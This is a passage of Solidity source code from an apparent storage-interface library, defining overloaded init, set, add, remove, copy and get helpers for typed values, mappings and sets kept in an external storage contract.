Can't use modifier due to a Solidity bug. function sanityCheck(bytes32 _currentId, bytes32 _newId) internal pure { if (_currentId != 0 || _newId == 0) { revert(); } } function init(Config storage self, Storage _store, bytes32 _crate) internal { self.store = _store; self.crate = _crate; } function init(UInt8 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(UInt storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Int storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Address storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bool storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Bytes32 storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(String storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(BytesSequence storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(StringMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(BytesSequenceMapping storage self, bytes32 _id) internal { init(self.id, _id); } function init(UIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntEnumMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntAddressAddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntUIntUIntBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUInt8Mapping storage self, bytes32 _id) internal { sanityCheck(self.id, _id); self.id = _id; } function init(AddressUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressBytes4Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressUIntUIntUIntAddressUInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UInt8Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32BoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32Bytes32Mapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32AddressMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32UIntBoolMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Set storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "count"))); init(self.indexes, keccak256(abi.encodePacked(_id, "indexes"))); init(self.values, keccak256(abi.encodePacked(_id, "values"))); } function init(AddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(CounterSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedSet storage self, bytes32 _id) internal { init(self.count, keccak256(abi.encodePacked(_id, "uint/count"))); init(self.first, keccak256(abi.encodePacked(_id, "uint/first"))); init(self.last, keccak256(abi.encodePacked(_id, "uint/last"))); init(self.nextValues, keccak256(abi.encodePacked(_id, "uint/next"))); init(self.previousValues, keccak256(abi.encodePacked(_id, "uint/prev"))); } function init(OrderedUIntSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(OrderedAddressesSet storage self, bytes32 _id) internal { init(self.innerSet, _id); } function init(Bytes32SetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressesSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(Bytes32OrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(UIntOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } function init(AddressOrderedSetMapping storage self, bytes32 _id) internal { init(self.innerMapping, _id); } /** `set` operation */ function set(Config storage self, UInt storage item, uint _value) internal { self.store.setUInt(self.crate, item.id, _value); } function set(Config storage self, UInt storage item, bytes32 _salt, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, UInt8 storage item, uint8 _value) internal { self.store.setUInt8(self.crate, item.id, _value); } function set(Config storage self, UInt8 storage item, bytes32 _salt, uint8 _value) internal { self.store.setUInt8(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Int storage item, int _value) internal { self.store.setInt(self.crate, item.id, _value); } function set(Config storage self, Int storage item, bytes32 _salt, int _value) internal { self.store.setInt(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Address storage item, address _value) internal { self.store.setAddress(self.crate, item.id, _value); } function set(Config storage self, Address storage item, bytes32 _salt, address _value) internal { self.store.setAddress(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bool storage item, bool _value) internal { self.store.setBool(self.crate, item.id, _value); } function set(Config storage self, Bool storage item, bytes32 _salt, bool _value) internal { self.store.setBool(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Bytes32 storage item, bytes32 _value) internal { self.store.setBytes32(self.crate, item.id, _value); } function set(Config storage self, Bytes32 storage item, bytes32 _salt, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, String storage item, string _value) internal { self.store.setString(self.crate, item.id, _value); } function set(Config storage self, String storage item, bytes32 _salt, string _value) internal { self.store.setString(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, BytesSequence storage item, bytes _value) internal { self.store.setBytesSequence(self.crate, item.id, _value); } function set(Config storage self, BytesSequence storage item, bytes32 _salt, bytes _value) internal { self.store.setBytesSequence(self.crate, keccak256(abi.encodePacked(item.id, _salt)), _value); } function set(Config storage self, Mapping storage item, uint _key, uint _value) internal { self.store.setUInt(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _value) internal { self.store.setBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value); } function set(Config storage self, StringMapping storage item, bytes32 _key, string _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, BytesSequenceMapping storage item, bytes32 _key, bytes _value) internal { set(self, item.id, _key, _value); } function set(Config storage self, AddressUInt8Mapping storage item, bytes32 _key, address _value1, uint8 _value2) internal { self.store.setAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key)), _value1, _value2); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bytes32 _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3, bool _value) internal { set(self, item, keccak256(abi.encodePacked(_key, _key2, _key3)), _value); } function set(Config storage self, UIntAddressMapping storage item, uint _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntUIntMapping storage item, uint _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBoolMapping storage item, uint _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, UIntEnumMapping storage item, uint _key, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, UIntBytes32Mapping storage item, uint _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, Bytes32UIntMapping storage item, bytes32 _key, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key, uint8 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32BoolMapping storage item, bytes32 _key, bool _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key, bytes32 _value) internal { set(self, item.innerMapping, _key, _value); } function set(Config storage self, Bytes32AddressMapping storage item, bytes32 _key, address _value) internal { set(self, item.innerMapping, _key, bytes32(_value)); } function set(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2, bool _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value); } function set(Config storage self, AddressUIntMapping storage item, address _key, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressBoolMapping storage item, address _key, bool _value) internal { set(self, item.innerMapping, bytes32(_key), toBytes32(_value)); } function set(Config storage self, AddressBytes32Mapping storage item, address _key, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _value); } function set(Config storage self, AddressAddressMapping storage item, address _key, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_value)); } function set(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2, uint8 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), _key2, _value); } function set(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, UIntAddressAddressMapping storage item, uint _key, address _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2, address _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } function set(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_value)); } function set(Config storage self, UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), _value); } function set(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_value)); } function set(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3, uint _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3), bytes32(_value)); } function set(Config storage self, AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2)), _value, _value2); } function set(Config storage self, AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), _value, _value2); } function set(Config storage self, AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5, address _value, uint8 _value2) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), _value, _value2); } function set(Config storage self, AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)), bytes32(_value)); } function set(Config storage self, AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5, uint8 _value) internal { set(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)), bytes32(_value)); } function set(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2, bool _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), toBytes32(_value)); } function set(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2, bytes32 _value) internal { set(self, item.innerMapping, bytes32(_key), bytes32(_key2), _value); } /** `add` operation */ function add(Config storage self, Set storage item, bytes32 _value) internal { add(self, item, SET_IDENTIFIER, _value); } function add(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (includes(self, item, _salt, _value)) { return; } uint newCount = count(self, item, _salt) + 1; set(self, item.values, _salt, bytes32(newCount), _value); set(self, item.indexes, _salt, _value, bytes32(newCount)); set(self, item.count, _salt, newCount); } function add(Config storage self, AddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, CounterSet storage item) internal { add(self, item.innerSet, bytes32(count(self, item) + 1)); } function add(Config storage self, OrderedSet storage item, bytes32 _value) internal { add(self, item, ORDERED_SET_IDENTIFIER, _value); } function add(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (_value == 0x0) { revert(); } if (includes(self, item, _salt, _value)) { return; } if (count(self, item, _salt) == 0x0) { set(self, item.first, _salt, _value); } if (get(self, item.last, _salt) != 0x0) { _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.last, _salt), _value); _setOrderedSetLink(self, item.previousValues, _salt, _value, get(self, item.last, _salt)); } _setOrderedSetLink(self, item.nextValues, _salt, _value, 0x0); set(self, item.last, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) + 1); } function add(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { add(self, item.innerMapping, _key, _value); } function add(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { add(self, item.innerMapping, _key, bytes32(_value)); } function add(Config storage self, OrderedUIntSet storage item, uint _value) internal { add(self, item.innerSet, bytes32(_value)); } function add(Config storage self, OrderedAddressesSet storage item, address _value) internal { add(self, item.innerSet, bytes32(_value)); } function set(Config storage self, Set storage item, bytes32 _oldValue, bytes32 _newValue) internal { set(self, item, SET_IDENTIFIER, _oldValue, _newValue); } function set(Config storage self, Set storage item, bytes32 _salt, bytes32 _oldValue, bytes32 _newValue) private { if (!includes(self, item, _salt, _oldValue)) { return; } uint index = uint(get(self, item.indexes, _salt, _oldValue)); set(self, item.values, _salt, bytes32(index), _newValue); set(self, item.indexes, _salt, _newValue, bytes32(index)); set(self, item.indexes, _salt, _oldValue, bytes32(0)); } function set(Config storage self, AddressesSet storage item, address _oldValue, address _newValue) internal { set(self, item.innerSet, bytes32(_oldValue), bytes32(_newValue)); } /** `remove` operation */ function remove(Config storage self, Set storage item, bytes32 _value) internal { remove(self, item, SET_IDENTIFIER, _value); } function remove(Config storage self, Set storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } uint lastIndex = count(self, item, _salt); bytes32 lastValue = get(self, item.values, _salt, bytes32(lastIndex)); uint index = uint(get(self, item.indexes, _salt, _value)); if (index < lastIndex) { set(self, item.indexes, _salt, lastValue, bytes32(index)); set(self, item.values, _salt, bytes32(index), lastValue); } set(self, item.indexes, _salt, _value, bytes32(0)); set(self, item.values, _salt, bytes32(lastIndex), bytes32(0)); set(self, item.count, _salt, lastIndex - 1); } function remove(Config storage self, AddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, CounterSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedSet storage item, bytes32 _value) internal { remove(self, item, ORDERED_SET_IDENTIFIER, _value); } function remove(Config storage self, OrderedSet storage item, bytes32 _salt, bytes32 _value) private { if (!includes(self, item, _salt, _value)) { return; } _setOrderedSetLink(self, item.nextValues, _salt, get(self, item.previousValues, _salt, _value), get(self, item.nextValues, _salt, _value)); _setOrderedSetLink(self, item.previousValues, _salt, get(self, item.nextValues, _salt, _value), get(self, item.previousValues, _salt, _value)); if (_value == get(self, item.first, _salt)) { set(self, item.first, _salt, get(self, item.nextValues, _salt, _value)); } if (_value == get(self, item.last, _salt)) { set(self, item.last, _salt, get(self, item.previousValues, _salt, _value)); } _deleteOrderedSetLink(self, item.nextValues, _salt, _value); _deleteOrderedSetLink(self, item.previousValues, _salt, _value); set(self, item.count, _salt, get(self, item.count, _salt) - 1); } function remove(Config storage self, OrderedUIntSet storage item, uint _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, OrderedAddressesSet storage item, address _value) internal { remove(self, item.innerSet, bytes32(_value)); } function remove(Config storage self, Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, AddressesSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, UIntSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal { remove(self, item.innerMapping, _key, _value); } function remove(Config storage self, UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } function remove(Config storage self, AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal { remove(self, item.innerMapping, _key, bytes32(_value)); } /** 'copy` operation */ function copy(Config storage self, Set storage source, Set storage dest) internal { uint _destCount = count(self, dest); bytes32[] memory _toRemoveFromDest = new bytes32[](_destCount); uint _idx; uint _pointer = 0; for (_idx = 0; _idx < _destCount; ++_idx) { bytes32 _destValue = get(self, dest, _idx); if (!includes(self, source, _destValue)) { _toRemoveFromDest[_pointer++] = _destValue; } } uint _sourceCount = count(self, source); for (_idx = 0; _idx < _sourceCount; ++_idx) { add(self, dest, get(self, source, _idx)); } for (_idx = 0; _idx < _pointer; ++_idx) { remove(self, dest, _toRemoveFromDest[_idx]); } } function copy(Config storage self, AddressesSet storage source, AddressesSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } function copy(Config storage self, CounterSet storage source, CounterSet storage dest) internal { copy(self, source.innerSet, dest.innerSet); } /** `get` operation */ function get(Config storage self, UInt storage item) internal view returns (uint) { return self.store.getUInt(self.crate, item.id); } function get(Config storage self, UInt storage item, bytes32 salt) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, UInt8 storage item) internal view returns (uint8) { return self.store.getUInt8(self.crate, item.id); } function get(Config storage self, UInt8 storage item, bytes32 salt) internal view returns (uint8) { return self.store.getUInt8(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Int storage item) internal view returns (int) { return self.store.getInt(self.crate, item.id); } function get(Config storage self, Int storage item, bytes32 salt) internal view returns (int) { return self.store.getInt(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Address storage item) internal view returns (address) { return self.store.getAddress(self.crate, item.id); } function get(Config storage self, Address storage item, bytes32 salt) internal view returns (address) { return self.store.getAddress(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bool storage item) internal view returns (bool) { return self.store.getBool(self.crate, item.id); } function get(Config storage self, Bool storage item, bytes32 salt) internal view returns (bool) { return self.store.getBool(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Bytes32 storage item) internal view returns (bytes32) { return self.store.getBytes32(self.crate, item.id); } function get(Config storage self, Bytes32 storage item, bytes32 salt) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, String storage item) internal view returns (string) { return self.store.getString(self.crate, item.id); } function get(Config storage self, String storage item, bytes32 salt) internal view returns (string) { return self.store.getString(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, BytesSequence storage item) internal view returns (bytes) { return self.store.getBytesSequence(self.crate, item.id); } function get(Config storage self, BytesSequence storage item, bytes32 salt) internal view returns (bytes) { return self.store.getBytesSequence(self.crate, keccak256(abi.encodePacked(item.id, salt))); } function get(Config storage self, Mapping storage item, uint _key) internal view returns (uint) { return self.store.getUInt(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key) internal view returns (bytes32) { return self.store.getBytes32(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, StringMapping storage item, bytes32 _key) internal view returns (string) { return get(self, item.id, _key); } function get(Config storage self, BytesSequenceMapping storage item, bytes32 _key) internal view returns (bytes) { return get(self, item.id, _key); } function get(Config storage self, AddressUInt8Mapping storage item, bytes32 _key) internal view returns (address, uint8) { return self.store.getAddressUInt8(self.crate, keccak256(abi.encodePacked(item.id, _key))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, Mapping storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(Config storage self, UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(Config storage self, Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(Config storage self, Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(Config storage self, UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(Config storage self, AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(Config storage self, UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(Config storage self, Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(Config storage self, AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(Config storage self, AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(Config storage self, UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(Config storage self, UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), 